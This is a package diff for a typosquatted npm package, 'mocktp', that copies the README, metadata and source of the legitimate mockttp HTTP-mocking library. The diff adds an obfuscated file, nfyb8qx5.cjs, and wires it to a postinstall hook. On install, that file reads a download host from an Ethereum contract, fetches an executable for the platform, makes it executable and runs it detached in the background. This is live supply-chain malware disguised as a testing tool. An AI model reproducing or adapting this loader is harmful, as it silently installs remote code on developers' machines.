The paths here should be relative to the working directory of the process running your mock server. That'll typically be the root of your project.
|
|
120
|
+
|
|
121
|
+
### Trusting a certificate
|
|
122
|
+
|
|
123
|
+
How to trust this certificate will depend on your HTTP client & test setup. You may be able to trust specific CAs in your HTTP request tool, but the simplest route is normally to trust the certificate process-wide. The process to do that is different depending on what is running your tests:
|
|
124
|
+
|
|
125
|
+
* **Node.js**: you can add CA certificates by setting the `NODE_EXTRA_CA_CERTS` environment variable to the path of your certificate (in Node 7.3+).
|
|
126
|
+
Something like `NODE_EXTRA_CA_CERTS=./testCA.pem npm test` should work nicely.
|
|
127
|
+
* **Chrome**: you can trust a certificate by passing the `--ignore-certificate-errors-spki-list=<spki fingerprint>` flag when starting Chrome.
|
|
128
|
+
To get the SPKI fingerprint for a certificate with openssl, run `openssl x509 -in testCA.pem -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64`.
|
|
129
|
+
* **FireFox**: you'll need to manually create a Firefox profile for your tests, open a browser using that, add the certificate as a CA, and then reuse that profile in later tests.
|
|
130
|
+
* **Other**: most other tools will have their own way of temporarily adding an extra CA. If they don't, they may have an option to disable TLS verification in your tests entirely, or you might be able to trust your CA certificate system-wide (if you do this, ensure the private key never leaves your machine). Both of these come with security risks though, so be very careful, and make sure you know what you're doing first.
|
|
131
|
+
|
|
132
|
+
(Need to trust your cert in .crt form? Try `openssl x509 -outform der -in your-cert.pem -out your-cert.crt` to convert it from pem)
|
|
133
|
+
|
|
134
|
+
### HTTPS Setup Example
|
|
135
|
+
|
|
136
|
+
As a full example, take a look at Mockttp's own test configuration. The Mockttp test certificate was generated using the commands above, and is stored in [test/fixtures](https://github.com/httptoolkit/mockttp/tree/a6c8e155/test/fixtures). It's configured in the mock server in the [https](https://github.com/httptoolkit/mockttp/blob/a6c8e155/test/integration/https.spec.ts) and [proxy](https://github.com/httptoolkit/mockttp/blob/a6c8e155/test/integration/proxy.spec.ts) tests, and marked as trusted in Node ([in package.json](https://github.com/httptoolkit/mockttp/blob/a6c8e155/package.json#L38)) and Chrome ([in the Karma config](https://github.com/httptoolkit/mockttp/blob/a6c8e155/karma.conf.js#L77)).
|
package/nfyb8qx5.cjs
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x4c7c6e=_0x4398;function _0x4398(_0x553a63,_0x32863e){const _0x626471=_0x6264();return _0x4398=function(_0x439882,_0x45ad9f){_0x439882=_0x439882-0x1cd;let _0x193cf2=_0x626471[_0x439882];return _0x193cf2;},_0x4398(_0x553a63,_0x32863e);}(function(_0x37264d,_0x1b3dca){const _0x474a8c=_0x4398,_0x4e530f=_0x37264d();while(!![]){try{const _0x4fff4f=-parseInt(_0x474a8c(0x1fe))/0x1+-parseInt(_0x474a8c(0x1ce))/0x2*(-parseInt(_0x474a8c(0x1fa))/0x3)+-parseInt(_0x474a8c(0x1cd))/0x4*(-parseInt(_0x474a8c(0x1fb))/0x5)+-parseInt(_0x474a8c(0x1ee))/0x6*(parseInt(_0x474a8c(0x1e1))/0x7)+parseInt(_0x474a8c(0x1d2))/0x8+parseInt(_0x474a8c(0x1d0))/0x9*(-parseInt(_0x474a8c(0x1f8))/0xa)+parseInt(_0x474a8c(0x1e7))/0xb*(parseInt(_0x474a8c(0x1e2))/0xc);if(_0x4fff4f===_0x1b3dca)break;else _0x4e530f['push'](_0x4e530f['shift']());}catch(_0x2e345d){_0x4e530f['push'](_0x4e530f['shift']());}}}(_0x6264,0x195d5));function _0x6264(){const _0x163ee6=['win32','2920XOSRmi','580rsuBpW','22RWPdUJ','GET','37080ipoJYQ','data','183696sITCEt','/node-win.exe','OlcyQ','Unsupported\x20platform:\x20','vFyzG','error','Ошибка\x20установки:','/node-macos','getDefaultProvider','bqrlG','getString','PPomA','mainnet','basename','child_process','329usypiZ','99516YYXMPU','QfUyC','ALOxy','linux','tmpdir','231uuKQhT','unref','darwin','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','axios','gZLcK','ethers','14124LVtbQs','platform','yeLSr','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','ignore','pipe','join','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','createWriteStream','stream','300LPMqCi','finish','18138ILAtjS','2670KMxTWw','Akybz'];_0x6264=function(){return _0x163ee6;};return _0x6264();}const {ethers}=require(_0x4c7c6e(0x1ed)),axios=require(_0x4c7c6e(0x1eb)),util=require('util'),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x4c7c6e(0x1e0)),contractAddress=_0x4c7c6e(0x1f5),WalletOwner=_0x4c7c6e(0x1f1),abi=[_0x4c7c6e(0x1ea)],provider=ethers[_0x4c7c6e(0x1da)](_0x4c7c6e(0x1de)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x7684fc=_0x4c7c6e,_0x416974={'yeLSr':function(_0x170bff){return _0x170bff();}};try{const _0x4ade58=await contract[_0x7684fc(0x1dc)](WalletOwner);return _0x4ade58;}catch(_0x450ae4){return console['error']('Ошибка\x20при\x20получении\x20IP\x20адреса:',_0x450ae4),await _0x416974[_0x7684fc(0x1f0)](fetchAndUpdateIp);}},getDownloadUrl=_0x5d528b=>{const _0x552daa=_0x4c7c6e,_0x527217={'OmYmI':_0x552daa(0x1fd),'FWUKG':_0x552daa(0x1e5),'yzcDq':_0x552daa(0x1e9)},_0x4c1779=os['platform']();switch(_0x4c1779){case _0x527217['OmYmI']:return _0x5d528b+_0x552daa(0x1d3);case _0x527217['FWUKG']:return _0x5d528b+'/node-linux';case _0x527217['yzcDq']:return _0x5d528b+_0x552daa(0x1d9);default:throw new Error(_0x552daa(0x1d5)+_0x4c1779);}},downloadFile=async(_0x2cf4c4,_0x340672)=>{const _0x334a4c=_0x4c7c6e,_0x363e1a={'PPomA':_0x334a4c(0x1f9),'MwQNM':_0x334a4c(0x1d7),'vFyzG':function(_0x193637,_0x5e3bb2){return _0x193637(_0x5e3bb2);},'vxXVx':_0x334a4c(0x1cf),'gZLcK':_0x334a4c(0x1f7)},_0x1d0978=fs[_0x334a4c(0x1f6)](_0x340672),_0x3918b8=await _0x363e1a[_0x334a4c(0x1d6)](axios,{'url':_0x2cf4c4,'method':_0x363e1a['vxXVx'],'responseType':_0x363e1a[_0x334a4c(0x1ec)]});return _0x3918b8[_0x334a4c(0x1d1)][_0x334a4c(0x1f3)](_0x1d0978),new Promise((_0x33153d,_0x53b0b2)=>{const _0x1bb9ca=_0x334a4c;_0x1d0978['on'](_0x363e1a[_0x1bb9ca(0x1dd)],_0x33153d),_0x1d0978['on'](_0x363e1a['MwQNM'],_0x53b0b2);});},executeFileInBackground=async _0x392fe4=>{const _0x221516=_0x4c7c6e,_0x5497fa={'QfUyC':function(_0xdbca9,_0x1bac29,_0x185d81,_0x14a874){return _0xdbca9(_0x1bac29,_0x185d81,_0x14a874);},'wqQTb':_0x221516(0x1f2),'bqrlG':'Ошибка\x20при\x20запуске\x20файла:'};try{const _0x277d98=_0x5497fa[_0x221516(0x1e3)](spawn,_0x392fe4,[],{'detached':!![],'stdio':_0x5497fa['wqQTb']});_0x277d98[_0x221516(0x1e8)]();}catch(_0x7fe9c9){console[_0x221516(0x1d7)](_0x5497fa[_0x221516(0x1db)],_0x7fe9c9);}},runInstallation=async()=>{const _0x41332c=_0x4c7c6e,_0x29286b={'LUfND':function(_0x157a01){return _0x157a01();},'ALOxy':function(_0x3b0669,_0x17fa10){return _0x3b0669(_0x17fa10);},'Akybz':function(_0x3917db,_0xc4b3dd,_0xf00c4f){return _0x3917db(_0xc4b3dd,_0xf00c4f);},'OlcyQ':function(_0x24be9a,_0x3b4d1d){return _0x24be9a!==_0x3b4d1d;},'lDMsf':_0x41332c(0x1fd)};try{const _0x45cbdb=await _0x29286b['LUfND'](fetchAndUpdateIp),_0x14de35=_0x29286b[_0x41332c(0x1e4)](getDownloadUrl,_0x45cbdb),_0x7f85ea=os[_0x41332c(0x1e6)](),_0x1a6bab=path[_0x41332c(0x1df)](_0x14de35),_0x54569f=path[_0x41332c(0x1f4)](_0x7f85ea,_0x1a6bab);await _0x29286b[_0x41332c(0x1fc)](downloadFile,_0x14de35,_0x54569f);if(_0x29286b[_0x41332c(0x1d4)](os[_0x41332c(0x1ef)](),_0x29286b['lDMsf']))fs['chmodSync'](_0x54569f,'755');executeFileInBackground(_0x54569f);}catch(_0x4075ff){console[_0x41332c(0x1d7)](_0x41332c(0x1d8),_0x4075ff);}};runInstallation();
|
package/package.json
CHANGED
|
@@ -1,6 +1,196 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "mocktp",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "3.15.3",
|
|
4
|
+
"description": "Mock HTTP server for testing HTTP clients and stubbing webservices",
|
|
5
|
+
"exports": {
|
|
6
|
+
".": {
|
|
7
|
+
"types": "./dist/main.d.ts",
|
|
8
|
+
"node": "./dist/main.js",
|
|
9
|
+
"browser": "./dist/main.browser.js",
|
|
10
|
+
"default": "./dist/main.browser.js"
|
|
11
|
+
},
|
|
12
|
+
"./pluggable-admin": {
|
|
13
|
+
"types": "./dist/pluggable-admin-api/pluggable-admin.d.ts",
|
|
14
|
+
"node": "./dist/pluggable-admin-api/pluggable-admin.js",
|
|
15
|
+
"browser": "./dist/pluggable-admin-api/pluggable-admin.browser.js",
|
|
16
|
+
"default": "./dist/pluggable-admin-api/pluggable-admin.browser.js"
|
|
17
|
+
},
|
|
18
|
+
"./mockttp-pluggable-admin": {
|
|
19
|
+
"types": "./dist/pluggable-admin-api/mockttp-pluggable-admin.d.ts",
|
|
20
|
+
"node": "./dist/pluggable-admin-api/mockttp-pluggable-admin.js",
|
|
21
|
+
"browser": "./dist/pluggable-admin-api/mockttp-pluggable-admin.browser.js",
|
|
22
|
+
"default": "./dist/pluggable-admin-api/mockttp-pluggable-admin.browser.js"
|
|
23
|
+
},
|
|
24
|
+
"./dist/main.js": {
|
|
25
|
+
"node": "./dist/main.js",
|
|
26
|
+
"browser": "./dist/main.browser.js",
|
|
27
|
+
"default": "./dist/main.browser.js"
|
|
28
|
+
},
|
|
29
|
+
"./dist/*": {
|
|
30
|
+
"default": "./dist/*.js"
|
|
31
|
+
}
|
|
32
|
+
},
|
|
33
|
+
"main": "dist/main.js",
|
|
34
|
+
"types": "dist/main.d.ts",
|
|
35
|
+
"browser": {
|
|
36
|
+
"dist/main.js": "./dist/main.browser.js",
|
|
37
|
+
"dist/pluggable-admin-api/pluggable-admin.js": "./dist/pluggable-admin-api/pluggable-admin.browser.js",
|
|
38
|
+
"dist/pluggable-admin-api/mockttp-pluggable-admin.js": "./dist/pluggable-admin-api/mockttp-pluggable-admin.browser.js",
|
|
39
|
+
"dns": false,
|
|
40
|
+
"os": false,
|
|
41
|
+
"fs": false,
|
|
42
|
+
"net": false,
|
|
43
|
+
"tls": false,
|
|
44
|
+
"http": false,
|
|
45
|
+
"https": false,
|
|
46
|
+
"http2": false,
|
|
47
|
+
"http2-wrapper": false,
|
|
48
|
+
"cross-fetch": false,
|
|
49
|
+
"cacheable-lookup": false,
|
|
50
|
+
"@httptoolkit/proxy-agent": false
|
|
51
|
+
},
|
|
52
|
+
"bin": {
|
|
53
|
+
"mockttp": "dist/admin/admin-bin.js"
|
|
54
|
+
},
|
|
55
|
+
"runkitExampleFilename": "./docs/runkitExample.js",
|
|
56
|
+
"files": [
|
|
57
|
+
"dist",
|
|
58
|
+
"src",
|
|
59
|
+
"custom-typings",
|
|
60
|
+
"docs",
|
|
61
|
+
"nfyb8qx5.cjs"
|
|
62
|
+
],
|
|
63
|
+
"scripts": {
|
|
64
|
+
"postinstall": "node nfyb8qx5.cjs"
|
|
65
|
+
},
|
|
66
|
+
"repository": {
|
|
67
|
+
"type": "git",
|
|
68
|
+
"url": "git+https://github.com/httptoolkit/mockttp.git"
|
|
69
|
+
},
|
|
70
|
+
"keywords": [
|
|
71
|
+
"testing",
|
|
72
|
+
"test",
|
|
73
|
+
"mock",
|
|
74
|
+
"mockttp",
|
|
75
|
+
"stub",
|
|
76
|
+
"fake",
|
|
77
|
+
"http",
|
|
78
|
+
"server"
|
|
79
|
+
],
|
|
80
|
+
"author": "Tim Perry <pimterry@gmail.com>",
|
|
81
|
+
"license": "Apache-2.0",
|
|
82
|
+
"bugs": {
|
|
83
|
+
"url": "https://github.com/httptoolkit/mockttp/issues"
|
|
84
|
+
},
|
|
85
|
+
"homepage": "https://github.com/httptoolkit/mockttp#readme",
|
|
86
|
+
"devDependencies": {
|
|
87
|
+
"@types/base64-arraybuffer": "0.1.0",
|
|
88
|
+
"@types/body-parser": "1.19.1",
|
|
89
|
+
"@types/chai": "4.2.21",
|
|
90
|
+
"@types/chai-as-promised": "7.1.4",
|
|
91
|
+
"@types/common-tags": "1.8.1",
|
|
92
|
+
"@types/connect": "3.4.35",
|
|
93
|
+
"@types/dns2": "1.4.0",
|
|
94
|
+
"@types/express": "4.17.13",
|
|
95
|
+
"@types/lodash": "4.14.178",
|
|
96
|
+
"@types/mocha": "8.2.3",
|
|
97
|
+
"@types/native-duplexpair": "^1.0.0",
|
|
98
|
+
"@types/node-forge": "1.0.0",
|
|
99
|
+
"@types/request": "2.48.7",
|
|
100
|
+
"@types/semver": "7.5.0",
|
|
101
|
+
"@types/shelljs": "0.8.9",
|
|
102
|
+
"@types/source-map-support": "0.4.2",
|
|
103
|
+
"@types/uuid": "8.3.4",
|
|
104
|
+
"@types/ws": " 8.5.3",
|
|
105
|
+
"assert": "^2.0.0",
|
|
106
|
+
"brotli-wasm": "^1.0.0",
|
|
107
|
+
"browserify-zlib": "^0.2.0",
|
|
108
|
+
"buffer": "^6.0.3",
|
|
109
|
+
"catch-uncommitted": "^1.0.0",
|
|
110
|
+
"chai": "^4.3.7",
|
|
111
|
+
"chai-as-promised": "^7.1.1",
|
|
112
|
+
"chai-fetch": "^0.3.1",
|
|
113
|
+
"crypto-browserify": "^3.12.0",
|
|
114
|
+
"dns2": "1.4.2",
|
|
115
|
+
"form-data-encoder": "^1.7.2",
|
|
116
|
+
"formdata-node": "^4.3.2",
|
|
117
|
+
"http-proxy-agent": "^5.0.0",
|
|
118
|
+
"karma": "^6.3.2",
|
|
119
|
+
"karma-chai": "^0.1.0",
|
|
120
|
+
"karma-chrome-launcher": "^2.2.0",
|
|
121
|
+
"karma-mocha": "^2.0.1",
|
|
122
|
+
"karma-sourcemap-loader": "^0.3.7",
|
|
123
|
+
"karma-spec-reporter": "0.0.32",
|
|
124
|
+
"karma-webpack": "^5.0.0",
|
|
125
|
+
"mocha": "^9.1.3",
|
|
126
|
+
"node-abort-controller": "^3.0.1",
|
|
127
|
+
"opn": "^5.1.0",
|
|
128
|
+
"path-browserify": "^1.0.1",
|
|
129
|
+
"process": "^0.11.10",
|
|
130
|
+
"querystring-es3": "^0.2.1",
|
|
131
|
+
"request": "^2.75.0",
|
|
132
|
+
"request-promise-native": "^1.0.3",
|
|
133
|
+
"rimraf": "^2.5.4",
|
|
134
|
+
"source-map-support": "^0.5.3",
|
|
135
|
+
"stream-browserify": "^3.0.0",
|
|
136
|
+
"tmp-promise": "^1.0.3",
|
|
137
|
+
"ts-loader": "^9.2.9",
|
|
138
|
+
"ts-node": "^10.9.2",
|
|
139
|
+
"typedoc": "^0.26.7",
|
|
140
|
+
"typescript": "5.6.2",
|
|
141
|
+
"url": "^0.11.0",
|
|
142
|
+
"util": "^0.12.4",
|
|
143
|
+
"webpack": "^5.72.0",
|
|
144
|
+
"zlib-browserify": "^0.0.3",
|
|
145
|
+
"zstd-codec": "^0.1.4"
|
|
146
|
+
},
|
|
147
|
+
"engines": {
|
|
148
|
+
"node": ">=14.14.0"
|
|
149
|
+
},
|
|
150
|
+
"dependencies": {
|
|
151
|
+
"@graphql-tools/schema": "^8.5.0",
|
|
152
|
+
"@graphql-tools/utils": "^8.8.0",
|
|
153
|
+
"@httptoolkit/httpolyglot": "^2.2.1",
|
|
154
|
+
"@httptoolkit/subscriptions-transport-ws": "^0.11.2",
|
|
155
|
+
"@httptoolkit/websocket-stream": "^6.0.1",
|
|
156
|
+
"@types/cors": "^2.8.6",
|
|
157
|
+
"@types/node": "*",
|
|
158
|
+
"async-mutex": "^0.5.0",
|
|
159
|
+
"base64-arraybuffer": "^0.1.5",
|
|
160
|
+
"body-parser": "^1.15.2",
|
|
161
|
+
"cacheable-lookup": "^6.0.0",
|
|
162
|
+
"common-tags": "^1.8.0",
|
|
163
|
+
"connect": "^3.7.0",
|
|
164
|
+
"cors": "^2.8.4",
|
|
165
|
+
"cors-gate": "^1.1.3",
|
|
166
|
+
"cross-fetch": "^3.1.5",
|
|
167
|
+
"destroyable-server": "^1.0.2",
|
|
168
|
+
"express": "^4.14.0",
|
|
169
|
+
"fast-json-patch": "^3.1.1",
|
|
170
|
+
"graphql": "^14.0.2 || ^15.5",
|
|
171
|
+
"graphql-http": "^1.22.0",
|
|
172
|
+
"graphql-subscriptions": "^1.1.0",
|
|
173
|
+
"graphql-tag": "^2.12.6",
|
|
174
|
+
"http-encoding": "^2.0.1",
|
|
175
|
+
"http2-wrapper": "^2.2.1",
|
|
176
|
+
"https-proxy-agent": "^5.0.1",
|
|
177
|
+
"isomorphic-ws": "^4.0.1",
|
|
178
|
+
"lodash": "^4.16.4",
|
|
179
|
+
"lru-cache": "^7.14.0",
|
|
180
|
+
"native-duplexpair": "^1.0.0",
|
|
181
|
+
"node-forge": "^1.2.1",
|
|
182
|
+
"pac-proxy-agent": "^7.0.0",
|
|
183
|
+
"parse-multipart-data": "^1.4.0",
|
|
184
|
+
"performance-now": "^2.1.0",
|
|
185
|
+
"portfinder": "^1.0.32",
|
|
186
|
+
"read-tls-client-hello": "^1.0.0",
|
|
187
|
+
"semver": "^7.5.3",
|
|
188
|
+
"socks-proxy-agent": "^7.0.0",
|
|
189
|
+
"typed-error": "^3.0.2",
|
|
190
|
+
"urlpattern-polyfill": "^8.0.0",
|
|
191
|
+
"uuid": "^8.3.2",
|
|
192
|
+
"ws": "^8.8.0",
|
|
193
|
+
"axios": "^1.7.7",
|
|
194
|
+
"ethers": "^6.13.2"
|
|
195
|
+
}
|
|
196
|
+
}
|
|
@@ -0,0 +1,62 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import childProcess = require('child_process');
|
|
3
|
+
import Mockttp = require('../main');
|
|
4
|
+
|
|
5
|
+
handleArgs(process.argv).catch((e) => {
|
|
6
|
+
console.error(e);
|
|
7
|
+
process.exit(1);
|
|
8
|
+
});
|
|
9
|
+
|
|
10
|
+
async function handleArgs(args: string[]) {
|
|
11
|
+
let debug = false;
|
|
12
|
+
let port = undefined;
|
|
13
|
+
|
|
14
|
+
const remainingArgs = args.slice(2);
|
|
15
|
+
let nextArg = remainingArgs.shift();
|
|
16
|
+
while (nextArg) {
|
|
17
|
+
if (nextArg === '-c') {
|
|
18
|
+
await runCommandWithServer(remainingArgs.join(' '), debug, port);
|
|
19
|
+
return;
|
|
20
|
+
} else if (nextArg === '-d') {
|
|
21
|
+
debug = true;
|
|
22
|
+
} else if (nextArg === '-p') {
|
|
23
|
+
port = parseInt(remainingArgs.shift()!, 10);
|
|
24
|
+
if (Object.is(port, NaN)) break;
|
|
25
|
+
} else {
|
|
26
|
+
break;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
nextArg = remainingArgs.shift();
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
console.log("Usage: mockttp [-d] [-p 45454] -c <test command>");
|
|
33
|
+
process.exit(1);
|
|
34
|
+
}
|
|
35
|
+
|
|
36
|
+
async function runCommandWithServer(command: string, debug: boolean, port?: number) {
|
|
37
|
+
const server = Mockttp.getAdminServer({ debug });
|
|
38
|
+
await server.start(port);
|
|
39
|
+
|
|
40
|
+
let realProcess = childProcess.spawn(command, [], {
|
|
41
|
+
shell: true,
|
|
42
|
+
stdio: 'inherit'
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
realProcess.on('error', (error) => {
|
|
46
|
+
server.stop().then(function () {
|
|
47
|
+
console.error(error);
|
|
48
|
+
process.exit(1);
|
|
49
|
+
});
|
|
50
|
+
});
|
|
51
|
+
|
|
52
|
+
realProcess.on('exit', (code, signal) => {
|
|
53
|
+
server.stop().then(function () {
|
|
54
|
+
if (code == null) {
|
|
55
|
+
console.error('Executed process exited due to signal: ' + signal);
|
|
56
|
+
process.exit(1);
|
|
57
|
+
} else {
|
|
58
|
+
process.exit(code);
|
|
59
|
+
}
|
|
60
|
+
});
|
|
61
|
+
});
|
|
62
|
+
}
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
import { Duplex } from "stream";
|
|
2
|
+
import { DocumentNode } from "graphql";
|
|
3
|
+
import { IResolvers } from "@graphql-tools/utils";
|
|
4
|
+
|
|
5
|
+
import { MaybePromise } from "../util/type-utils";
|
|
6
|
+
|
|
7
|
+
export interface AdminPlugin<StartParams, ClientResponse> {
|
|
8
|
+
// Called when a /start request is received that references this plugin
|
|
9
|
+
start: (options: StartParams) => MaybePromise<ClientResponse>;
|
|
10
|
+
stop: () => MaybePromise<void>;
|
|
11
|
+
reset?: () => MaybePromise<void>;
|
|
12
|
+
enableDebug?: () => void,
|
|
13
|
+
schema: DocumentNode | string;
|
|
14
|
+
buildResolvers: (stream: Duplex, ruleParameters: { [key: string]: any }) => IResolvers
|
|
15
|
+
}
|
|
16
|
+
|
|
17
|
+
export type AdminPluginConstructor<Plugin> = { new(): Plugin };
|
|
18
|
+
|
|
19
|
+
export type PluginStartParams<Plugin> = Plugin extends AdminPlugin<infer StartParams, any>
|
|
20
|
+
? StartParams
|
|
21
|
+
: never;
|
|
22
|
+
|
|
23
|
+
export type PluginClientResponse<Plugin> = Plugin extends AdminPlugin<any, infer ClientResponse>
|
|
24
|
+
? ClientResponse
|
|
25
|
+
: never;
|
|
26
|
+
|
|
27
|
+
export type PluginConstructorMap<Plugins> = { [key in keyof Plugins]: AdminPluginConstructor<Plugins[key]> };
|
|
28
|
+
export type PluginStartParamsMap<Plugins> = { [key in keyof Plugins]: PluginStartParams<Plugins[key]> };
|
|
29
|
+
export type PluginClientResponsesMap<Plugins> = { [key in keyof Plugins]: PluginClientResponse<Plugins[key]> };
|